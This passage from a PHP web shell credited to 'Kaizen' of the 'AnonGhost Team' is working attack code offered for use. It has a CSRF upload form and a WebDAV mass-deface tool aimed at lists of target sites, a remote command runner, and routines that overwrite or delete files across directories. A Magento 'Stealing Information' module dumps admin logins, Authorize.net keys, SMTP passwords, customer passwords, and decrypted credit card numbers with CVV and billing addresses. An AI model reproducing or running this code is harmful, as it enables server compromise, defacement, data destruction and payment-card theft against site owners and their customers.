4862switch ($op) {case 'base64': $codi=base64_decode($text);
4863break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
4864break;case 'gzinflate' : $codi=gzinflate(str_rot13(base64_decode($text)));
4865break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
4866break;case 'str2' : $codi=str_rot13(base64_decode($text));
4867break;case 'urlencode' : $codi=rawurldecode($text);
4868break;case 'ur' : $codi=convert_uudecode($text);
4869break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
4870break;default:break;}}
4871
4872echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';
4873
4874
4875?>
4876<?php
4877
4878}
4879
4880////////////////////////////
4881elseif($_GET['do'] == 'csrf') {
4882?> <html>
4883<title>CSRF EXPLOITER ONLINE</title>
4884<center><br><br><h2> CSRF ONLINE</h2>
4885<br><br>
4886<font color=#2EFEF7>*Note : Post File, Type : Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc
4887<center>
4888<form method="post">
4889URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/[path]/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
4890POST File: <input type="text" name="data" size="50" height="10" placeholder="Look up ^" style="margin: 5px auto; padding-left: 5px;" required><br>
4891<input type="submit" name="go" value="Lock!">
4892</form>
4893<?php
4894$url = $_POST['url'];
4895$data = $_POST['data'];
4896$submit = $_POST['go'];
4897if($submit) {
4898 echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$data'><input type='submit' name='ok' value='Upload'></form";
4899}
4900?>
4901</form>
4902</html>
4903<?php
4904
4905}
4906
4907 ////////////////////////////
4908elseif($_GET['do'] == 'webdav') {
4909?>
4910 <?php
4911 # ===============================
4912 # ===============================
4913 # ===============================
4914 # web version
4915 ?>
4916 <head><title>Webdav Mass Exploiter</title></head>
4917 <style>
4918 body { font-family: Atma }
4919 input, textarea { font-family: Atma }
4920 th { background:#2EFEF7;color:#000000;padding:3px;font-family: Suez One}
4921 </style>
4922 <link href='http://fonts.googleapis.com/css?family=Atma' rel='stylesheet' type='text/css'/>
4923 <link href='http://fonts.googleapis.com/css?family=Suez+One' rel='stylesheet' type='text/css'/>
4924 <center>
4925 <table><tr><th>Webdav Exploiter</th></tr> <tr><td><form action="" method="POST">
4926 <textarea name="isi" style="height:100px;width:500px">http://www.target.com/</textarea><br><br>
4927 <textarea name="isi1" style="height:100px;width:500px">Hacked By Kaizen (Your Script)</textarea><br><br>
4928 <input type="hidden" name="site" value="list.txt">
4929 <input type="hidden" name="file" value="x.htm">
4930 <center><input type="submit" style="background:#2EFEF7;color:#000000;padding:3px;border:0" name="go" value="<< Execute >>"></center>
4931 </form>
4932 </td></tr></table>
4933 <table> <tr><th>Result Deface</th></tr> <tr><td>
4934 <div style="border:1px solid black;border-bottom:5px solid black; padding:3px;height:auto;width:500px">
4935 <?php
4936
4937 if($_POST['go']){
4938
4939 $nama = "x.htm";
4940 $isi = $_POST['isi1'];
4941 $fp = fopen($nama,"w");
4942 fputs($fp, $isi);
4943
4944 $nama = "list.txt";
4945 $isi = $_POST['isi'];
4946 $fp = fopen($nama,"w");
4947 fputs($fp, $isi);
4948
4949
4950
4951 ?>
4952 <link href='http://fonts.googleapis.com/css?family=Iceland' rel='stylesheet' type='text/css'>
4953
4954
4955 <?php
4956
4957 # Kaizen
4958 # AnonGhost Team
4959 # Exploiter
4960
4961 $sites = $_POST[site];
4962 $file = $_POST[file];
4963 $fp = fopen($file, "r");
4964 $buka=fopen("$sites","r");
4965 $filesize = filesize($file);
4966 $size=filesize("$sites");
4967 $baca=fread($buka,$size);
4968 $sites = explode("\r\n", $baca);
4969 foreach($sites as $site){
4970 if(preg_match("#http://#", $site)) {
4971 $site = $site;
4972 } else {
4973 $site = "http://".$site;
4974 }
4975 $site = "$site/$file";
4976 $ch = curl_init();
4977 curl_setopt($ch, CURLOPT_URL, $site);
4978 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
4979 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
4980 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
4981 curl_setopt($ch, CURLOPT_PUT, true);
4982 curl_setopt($ch, CURLOPT_INFILE, $fp);
4983 curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
4984 curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
4985 curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
4986 $exec = curl_exec($ch);
4987 echo "$site -> ";
4988 $su = curill($site);
4989 if(preg_match("/hacked/i", $su)) {
4990 echo "<font color=green>Exploit Success!!</font><br>\n\n";
4991 file_put_contents("webdav_shell.htm", "$site<br>", FILE_APPEND);
4992 } else {
4993 echo "<font color=red>Exploit Failed</font><br>\n";
4994 }
4995 }
4996 }
4997 function curill($site){
4998 $ch = curl_init ("$site");
4999 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
5000 curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
5001 curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
5002 curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
5003 curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
5004 curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
5005 curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
5006 $data3 = curl_exec ($ch);
5007 return $data3;
5008 }
5009 ?>
5010<?php
5011
5012 }
5013
5014////////////////////////////
5015 elseif($_GET['do'] == 'cmd') {
5016 if($_POST['do_cmd']) {
5017 echo "<pre>".exe($_POST['cmd'])."</pre>";
5018 }
5019} elseif($_GET['do'] == 'mass_deface') {
5020 echo "<center><form action=\"\" method=\"post\">\n";
5021 $dirr=$_POST['d_dir'];
5022 $index = $_POST["script"];
5023 $index = str_replace('"',"'",$index);
5024 $index = stripslashes($index);
5025 function edit_file($file,$index){
5026 if (is_writable($file)) {
5027 clear_fill($file,$index);
5028 echo "<Span style='color:green;'><strong> [+] Mass Deface 100% Successfull </strong></span><br></center>";
5029 }
5030 else {
5031 echo "<Span style='color:red;'><strong> [-] Failed Mass Deface </strong></span><br></center>";
5032 }
5033 }
5034 function hapus_massal($dir,$namafile) {
5035 if(is_writable($dir)) {
5036 $dira = scandir($dir);
5037 foreach($dira as $dirb) {
5038 $dirc = "$dir/$dirb";
5039 $lokasi = $dirc.'/'.$namafile;
5040 if($dirb === '.') {
5041 if(file_exists("$dir/$namafile")) {
5042 unlink("$dir/$namafile");
5043 }
5044 } elseif($dirb === '..') {
5045 if(file_exists("".dirname($dir)."/$namafile")) {
5046 unlink("".dirname($dir)."/$namafile");
5047 }
5048 } else {
5049 if(is_dir($dirc)) {
5050 if(is_writable($dirc)) {
5051 if(file_exists($lokasi)) {
5052 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
5053 unlink($lokasi);
5054 $idx = hapus_massal($dirc,$namafile);
5055 }
5056 }
5057 }
5058 }
5059 }
5060 }
5061 }
5062 function clear_fill($file,$index){
5063 if(file_exists($file)){
5064 $handle = fopen($file,'w');
5065 fwrite($handle,'');
5066 fwrite($handle,$index);
5067 fclose($handle); } }
5068
5069 function gass(){
5070 global $dirr , $index ;
5071 chdir($dirr);
5072 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
5073 $files = scandir($dirr) ;
5074 $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
5075 sort($files);
5076 $n = 0 ;
5077 foreach ($files as $file){
5078 if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
5079 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
5080 edit_file($file,$index);
5081 flush();
5082 $n = $n +1 ;
5083 }
5084 }
5085 echo "<br>";
5086 echo "<center><br><h3>$n Success </h3></center><br>";
5087 }
5088 function ListFiles($dirrall) {
5089
5090 if($dh = opendir($dirrall)) {
5091
5092 $files = Array();
5093 $inner_files = Array();
5094 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
5095 $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
5096 while($file = readdir($dh)) {
5097 if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
5098 if(is_dir($dirrall . "/" . $file)) {
5099 $inner_files = ListFiles($dirrall . "/" . $file);
5100 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
5101 } else {
5102 array_push($files, $dirrall . "/" . $file);
5103 }
5104 }
5105 }
5106
5107 closedir($dh);
5108 return $files;
5109 }
5110 }
5111 function gass_all(){
5112 global $index ;
5113 $dirrall=$_POST['d_dir'];
5114 foreach (ListFiles($dirrall) as $key=>$file){
5115 $file = str_replace('//',"/",$file);
5116 echo "<center><strong>$file</strong> ===>";
5117 edit_file($file,$index);
5118 flush();
5119 }
5120 $key = $key+1;
5121 echo "<center><br><h3>$key Success </h3></center><br>"; }
5122 function sabun_massal($dir,$namafile,$isi_script) {
5123 if(is_writable($dir)) {
5124 $dira = scandir($dir);
5125 foreach($dira as $dirb) {
5126 $dirc = "$dir/$dirb";
5127 $lokasi = $dirc.'/'.$namafile;
5128 if($dirb === '.') {
5129 file_put_contents($lokasi, $isi_script);
5130 } elseif($dirb === '..') {
5131 file_put_contents($lokasi, $isi_script);
5132 } else {
5133 if(is_dir($dirc)) {
5134 if(is_writable($dirc)) {
5135 echo "[<font color=lime>DONE</font>] $lokasi<br>";
5136 file_put_contents($lokasi, $isi_script);
5137 $idx = sabun_massal($dirc,$namafile,$isi_script);
5138 }
5139 }
5140 }
5141 }
5142 }
5143 }
5144 if($_POST['mass'] == 'onedir') {
5145 echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
5146 $ini="http://";
5147 $mainpath=$_POST[d_dir];
5148 $file=$_POST[d_file];
5149 $dir=opendir("$mainpath");
5150 $code=base64_encode($_POST[script]);
5151 $indx=base64_decode($code);
5152 while($row=readdir($dir)){
5153 $start=@fopen("$row/$file","w+");
5154 $finish=@fwrite($start,$indx);
5155 if ($finish){
5156 echo"$ini$row/$file\n";
5157 }
5158 }
5159 echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
5160 $mainpath=$_POST[d_dir];$file=$_POST[d_file];
5161 $dir=opendir("$mainpath");
5162 $code=base64_encode($_POST[script]);
5163 $indx=base64_decode($code);
5164 while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
5165 $finish=@fwrite($start,$indx);
5166 if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
5167 }
5168
5169 }
5170 elseif($_POST['mass'] == 'Mass All Dir') { gass(); }
5171 elseif($_POST['mass'] == 'Mass Delete') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
5172 elseif($_POST['mass'] == 'Mass Deface') { gass_all(); }
5173 elseif($_POST['mass'] == 'massdeface') {
5174 echo "<div style='margin: 5px auto; padding: 5px'>";
5175 sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
5176 echo "</div>"; }
5177 else {
5178 echo "
5179 <center><font style='text-decoration: underline;'>
5180 Select Type:<br>
5181 </font>
5182 <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
5183 <option value=\"onedir\">Mass Deface 1 Dir</option>
5184 <option value=\"massdeface\">Mass Deface All Dir</option>
5185 <option value=\"Mass all dir\">Mass Deface 1 Dir</option>
5186 <option value=\"Mass Deface\">Mass Deface</option>
5187 <option value=\"Mass Delete\">Mass Delete Files</option></center></select><br>
5188 <font style='text-decoration: underline;'>Folder:</font><br>
5189 <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
5190 <font style='text-decoration: underline;'>Filename:</font><br>
5191 <input type='text' name='d_file' value='Kaizen.php' style='width: 450px;' height='10'><br>
5192 <font style='text-decoration: underline;'>Index File:</font><br>
5193 <textarea name='script' style='width: 450px; height: 200px;'>Hacked By Kaizen</textarea><br>
5194 <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
5195 </form></center>";
5196 }
5197 }
5198elseif($_GET['do'] == 'magen') {
5199echo'
5200<div id="page-wrap">
5201<center>
5202<br>
5203<FORM action="" method="post">
5204<div align="center">[M A G E N T O] - Stealing Information<br>
5205<div align="center">Code By Kaizen<br>
5206<input type="hidden" name="form_action" value="2">
5207</div>
5208</div>
5209';
5210
5211
5212if(file_exists($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml')){
5213 $xml = simplexml_load_file($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml');
5214 if(isset($xml->global->resources->default_setup->connection)) {
5215 $connection = $xml->global->resources->default_setup->connection;
5216 $prefix = $xml->global->resources->db->table_prefix;
5217 $key = $xml->global->crypt->key; //f8cd1881e3bf20108d5f4947e60acfc1
5218 require_once $_SERVER['DOCUMENT_ROOT'].'/app/Mage.php';
5219
5220 try {
5221 $app = Mage::app('default');
5222 Mage::getSingleton('core/session', array('name'=>'frontend'));
5223 }catch(Exception $e) { echo 'Message: ' .$e->getMessage()."<br/>\n";}
5224
5225 if (!mysql_connect($connection->host, $connection->username, $connection->password)){
5226 print("Could not connect: " . mysql_error());
5227 }
5228 mysql_select_db($connection->dbname);
5229 echo $connection->host."|".$connection->username."|".$connection->password."|".$connection->dbname."| $prefix | $key<br/>\n";
5230
5231 $crypto = new Varien_Crypt_Mcrypt();
5232 $crypto->init($key);
5233
5234 //=========================================================================================================
5235 $query = mysql_query("SELECT user_id,firstname,lastname,email,username,password FROM admin_user where is_active = '1'");
5236 if (!$query){
5237 echo "<center><b>Failed</b></center>";
5238 }else{
5239 $site = mysql_fetch_array(mysql_query("SELECT value as website FROM core_config_data WHERE path='web/unsecure/base_url'"));
5240 echo'<br><br>
5241 ====================================================================<br>
5242 [ Admin FROM website : '.$site['website'].'] <br>
5243 ====================================================================<br>';
5244 }
5245 echo "
5246 <table border='1' align='center' >
5247 <tr>
5248 <td>id</td>
5249 <td>firstname</td>
5250 <td>lastname</td>
5251 <td>email</td>
5252 <td>username</td>
5253 <td>password</td>
5254 </tr>";
5255 while($vx = mysql_fetch_array($query)) {
5256 $no = 1;
5257 $user_id = $vx['user_id'];
5258 $username = $vx['username'];
5259 $password = $vx['password'];
5260 $email = $vx['email'];
5261 $firstname = $vx['firstname'];
5262 $lastname = $vx['lastname'];
5263 echo "<tr><pre><td>$user_id</td><td>$firstname</td><td>$lastname</td><td>$email</td><td>$username</td><td>$password</td></pre></tr>";
5264 }
5265 echo "</table><br>";
5266 //=========================================================================================================
5267 $query = mysql_query("SELECT value as user,(SELECT value FROM core_config_data where path = 'payment/authorizenet/trans_key') as pass FROM core_config_data where path = 'payment/authorizenet/login'");
5268 if(mysql_num_rows($query) != 0){
5269 if (!$query){
5270 echo "<center><b>Failed</b></center>";
5271 }else{
5272 echo'<br><br>
5273 ====================================================================<br>
5274 [ Authorizenet ] <br>
5275 ====================================================================<br>';
5276 }
5277 echo "
5278 <table border='1' align='center' >
5279 <tr>
5280 <td>no</td>
5281 <td>user</td>
5282 <td>pass</td>
5283 </tr>";
5284 $no = 1;
5285 while($vx = mysql_fetch_array($query)) {
5286 $user = $crypto->decrypt($vx['user']);
5287 $pass = $crypto->decrypt($vx['pass']);
5288
5289
5290 echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
5291 $no++;
5292 }
5293 echo "</table><br>";
5294 }
5295 //=========================================================================================================
5296 $query_smtp = mysql_query("SELECT (SELECT a.value FROM core_config_data as a WHERE path = 'system/smtpsettings/host') as host , (SELECT b.value FROM core_config_data as b WHERE path = 'system/smtpsettings/port') as port,(SELECT c.value FROM core_config_data as c WHERE path = 'system/smtpsettings/username') as user ,(SELECT d.value FROM core_config_data as d WHERE path = 'system/smtpsettings/password') as pass FROM core_config_data limit 1,1");
5297 if(mysql_num_rows($query_smtp) != 0){
5298 if (!$query_smtp){
5299 echo "<center><b>Failed</b></center>";
5300 }else{
5301 echo'<br><br>
5302 ====================================================================<br>
5303 [ SMTP ] <br>
5304 ====================================================================<br>';
5305 }
5306 echo "
5307 <table border='1' align='center' >
5308 <tr>
5309 <td>no</td>
5310 <td>host</td>
5311 <td>port</td>
5312 <td>user</td>
5313 <td>pass</td>
5314 </tr>";
5315 $no = 1;
5316 $batas = 0;
5317 while($rows = mysql_fetch_array($query_smtp)) {
5318 $smtphost = $rows[0];
5319 $smtpport = $rows[1];
5320 $smtpuser = $rows[2];
5321 $smtppass = $rows[3];
5322 echo "<tr><pre><td>$no</td><td>$smtphost</td><td>$smtpport</td><td>$smtpuser</td><td>$smtppass</td></pre></tr>";
5323 $no++;
5324 }
5325 echo "</table><br>";
5326 }
5327 //=========================================================================================================
5328 $query = mysql_query("SELECT sfo.updated_at,sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_enc,CONCAT(sfo.cc_exp_month,' |',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' |-| ',billing.email) AS 'Billing Address' FROM sales_flat_quote_payment AS sfo JOIN sales_flat_quote_address AS billing ON billing.quote_id = sfo.quote_id AND billing.address_type = 'billing'");
5329 $query2 = mysql_query("SELECT sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_status,CONCAT(sfo.cc_exp_month,'|',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' | ',billing.email) AS 'Billing Address' FROM sales_flat_order_payment AS sfo JOIN sales_flat_order_address AS billing ON billing.parent_id = sfo.parent_id AND billing.address_type = 'billing' where cc_number_enc != ''");
5330 if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0){
5331 echo'<br><br>
5332 ====================================================================<br>
5333 [ Credit Card ] <br>
5334 ====================================================================<br>';
5335 echo "
5336 <table border='1' align='left' >
5337 <tr>
5338 <td>no</td>
5339 <td>Date</td>
5340 <td>Credit Owner</td>
5341 <td>method</td>
5342 <td>Credit Number</td>
5343 <td>Credit Exp</td>
5344 <td>CVV</td>
5345 <td>Address</td>
5346 </tr>";
5347 $no = 1;
5348 $batas = 0;
5349 while($vx = mysql_fetch_array($query)){
5350 $date = $vx['updated_at'];
5351 $cc_owner = $vx['cc_owner'];
5352 $method = $vx['method'];
5353 $cc_number_enc = $crypto->decrypt($vx['cc_number_enc']);
5354 $exp = $vx['exp'];
5355 $cc_cid_enc = $crypto->decrypt($vx['cc_cid_enc']);
5356 $Billing_Address = $vx['Billing Address'];
5357 echo "<tr><pre><td>$no</td><td>$date</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_enc</td><td>$Billing_Address</td></pre></tr>";
5358 $batas = $no++;
5359 }
5360
5361 while($vx2 = mysql_fetch_array($query2)){
5362 $batas +=1;
5363 $cc_owner = $vx2['cc_owner'];
5364 $method = $vx2['method'];
5365 $cc_number_enc = $crypto->decrypt($vx2['cc_number_enc']);
5366 $exp = $vx2['exp'];
5367 $cc_cid_status = $crypto->decrypt($vx2['cc_cid_status']);
5368 $Billing_Address = $vx2['Billing Address'];
5369 echo "<tr><pre><td>$batas</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_status</td><td>$Billing_Address</td></pre></tr>";
5370 $batas++;
5371 }
5372
5373 echo "</table><br>";
5374 }
5375 //=========================================================================================================
5376 $query = mysql_query("SELECT email,value FROM customer_entity_varchar, customer_entity WHERE customer_entity_varchar.entity_id = customer_entity.entity_id and attribute_id=12");
5377 $query2 = mysql_query("SELECT customer_email,password_hash FROM sales_flat_quote");
5378
5379
5380 if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0 ){
5381 if (!$query){
5382 echo "<center><b>Failed</b></center>";
5383 }else{
5384 echo'<br><br>
5385 ====================================================================<br>
5386 [ Customer ] <br>
5387 ====================================================================<br>';
5388 }
5389 echo "
5390 <table border='1' align='center' >
5391 <tr>
5392 <td>no</td>
5393 <td>user</td>
5394 <td>pass</td>
5395 </tr>";
5396 $no = 1;
5397 $batas = 0;
5398 while($vx = mysql_fetch_array($query)) {
5399 $user = $vx['email'];
5400 $pass = $vx['value'];
5401 echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
5402 $batas = $no++;
5403 }
5404
5405 if(mysql_num_rows($query2) != 0 && ($query2)){
5406 while($vx2 = mysql_fetch_array($query2)){
5407 $user = $vx2['customer_email'];
5408 $pass = $crypto->decrypt($vx2['password_hash']);
5409 if(!empty($user) && !empty($pass)){ //tampilin ketika datanya itu ada klo gk ada ya jangan di tampilkan
5410 $batas +=1;
5411 echo "<tr><pre><td>$batas</td><td>$user</td><td>$pass</td></pre></tr>";
5412 $batas++;
5413 }
5414 }
5415 }
5416
5417 echo "</table><br>";
5418 }
5419 //=========================================================================================================
5420 }
5421}
5422function save($format,$data){
5423 $fp = fopen($format, 'a');
5424 fwrite($fp, $data);
5425 fclose($fp);
5426}
5427function cekbase64($string){
5428 $decoded = base64_decode($string, true);
5429 if (!preg_match('/^[a-zA-Z0-9\/\r\n+]*={0,2}$/', $string)) return false;
5430 if(!base64_decode($string, true)) return false;
5431 if(base64_encode($decoded) != $string) return false;
5432 return true;//nilai return 1 jika true
5433 }
5434//----untuk decode password ---/
5435class Varien_Crypt_Mcrypt{
5436 /**
5437 * Constuctor
5438 *
5439 * @param array $data
5440 */
5441 public function __construct()
5442 {
5443 }
5444
5445 /**
5446 * Initialize mcrypt module
5447 *
5448 * @param string $key cipher private key
5449 * @return Varien_Crypt_Mcrypt
5450 */
5451 public function init($key)
5452 {
5453 $this->handler = mcrypt_module_open(MCRYPT_BLOWFISH, '', MCRYPT_MODE_ECB, '');
5454 $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($this->handler), MCRYPT_RAND);
5455 $maxKeySize = mcrypt_enc_get_key_size($this->handler);
5456
5457 if (iconv_strlen($key, 'UTF-8')>$maxKeySize) {
5458 //throw new Varien_Exception('Maximum key size must should be smaller '.$maxKeySize);
5459 return null;
5460 }
5461
5462 mcrypt_generic_init($this->handler, $key, $iv);
5463
5464 return $this;
5465 }
5466
5467 /**
5468 * Encrypt data
5469 *
5470 * @param string $data source string
5471 * @return string
5472 */
5473 public function encrypt($data)
5474 {
5475 if (!$this->handler) {
5476 //throw new Varien_Exception('Crypt module is not initialized.');
5477 return null;
5478 }
5479 if (strlen($data) == 0) {
5480 return $data;
5481 }
5482 return base64_encode(mcrypt_generic($this->handler, $data));
5483 }
5484
5485 /**
5486 * Decrypt data
5487 *
5488 * @param string $data encrypted string
5489 * @return string
5490 */
5491 public function decrypt($data)
5492 {
5493 if (!$this->handler) {
5494 //throw new Varien_Exception('Crypt module is not initialized.');
5495 return null;
5496 }
5497 if (strlen($data) == 0) {
5498 return $data;
5499 }
5500 return mdecrypt_generic($this->handler, base64_decode($data));
5501 }
5502
5503
5504 /**
5505 * Desctruct cipher module
5506 *
5507 */
5508 public function __destruct()
5509 {
5510 if ($this->handler) {
5511 $this->_reset();
5512 }
5513 }
5514
5515 protected function _reset()
5516 {
5517 mcrypt_generic_deinit($this->handler);
5518 mcrypt_module_close($this->handler);
5519 }
5520}
5521}
5522elseif($_GET['do'] == 'zip') {
5523 echo "<center><h1>Zip Menu</h1>";
5524function rmdir_recursive($dir) {
5525 foreach(scandir($dir) as $file) {
5526 if ('.' === $file || '..' === $file) continue;
5527 if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
5528 else unlink("$dir/$file");
5529 }
5530 rmdir($dir);
5531}
5532if($_FILES["zip_file"]["name"]) {
5533 $filename = $_FILES["zip_file"]["name"];
5534 $source = $_FILES["zip_file"]["tmp_name"];
5535 $type = $_FILES["zip_file"]["type"];
5536 $name = explode(".", $filename);
5537 $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
5538 foreach($accepted_types as $mime_type) {
5539 if($mime_type == $type) {
5540 $okay = true;
5541 break;
5542 }
5543 }
5544 $continue = strtolower($name[1]) == 'zip' ? true : false;
5545 if(!$continue) {
5546 $message = "Its Not Zip";
5547 }
5548 $path = dirname(__FILE__).'/';
5549 $filenoext = basename ($filename, '.zip');
5550 $filenoext = basename ($filenoext, '.ZIP');
5551 $targetdir = $path . $filenoext;
5552 $targetzip = $path . $filename;
5553 if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
5554 mkdir($targetdir, 0777);
5555 if(move_uploaded_file($source, $targetzip)) {
5556 $zip = new ZipArchive();
5557 $x = $zip->open($targetzip);
5558 if ($x === true) {
5559 $zip->extractTo($targetdir);
5560 $zip->close();
5561
5562 unlink($targetzip);
5563 }
5564 $message = "<b>Sukses</b>";
5565 } else {
5566 $message = "<b>Error</b>";
5567 }
5568}
5569echo '<table style="width:100%" border="1">
5570 <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
5571<label>Zip File : <input type="file" name="zip_file" /></label>
5572<input type="submit" name="submit" value="Upload And Unzip" />
5573</form>';
5574if($message) echo "<p>$message</p>";
5575echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
5576 if($_POST['backup']){
5577 $save=$_POST['save'];
5578 function Zip($source, $destination)
5579{
5580 if (extension_loaded('zip') === true)
5581 {
5582 if (file_exists($source) === true)
5583 {
5584 $zip = new ZipArchive();
5585
5586 if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
5587 {
5588 $source = realpath($source);
5589
5590 if (is_dir($source) === true)
5591 {
5592 $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
5593
5594 foreach ($files as $file)
5595 {
5596 $file = realpath($file);
5597
5598 if (is_dir($file) === true)
5599 {
5600 $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
5601 }
5602
5603 else if (is_file($file) === true)
5604 {
5605 $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
5606 }
5607 }
5608 }
5609
5610 else if (is_file($source) === true)
5611 {
5612 $zip->addFromString(basename($source), file_get_contents($source));
5613 }
5614 }
5615
5616 return $zip->close();
5617 }
5618 }
5619
5620 return false;
5621}
5622 Zip($_POST['dir'],$save);
5623 echo "Done , Save To <b>$save</b>";
5624 }
5625 echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
5626 if($_POST['extrak']){
5627 $save=$_POST['save'];
5628 $zip = new ZipArchive;
5629 $res = $zip->open($_POST['dir']);
5630 if ($res === TRUE) {
5631 $zip->extractTo($save);
5632 $zip->close();
5633 echo 'Succes , Location : <b>'.$save.'</b>';
5634 } else {
5635 echo 'Failed Mass';
5636 }
5637 }
5638echo '</tr></table>';
5639 }
5640 elseif($_GET['do'] == 'shellchk') {
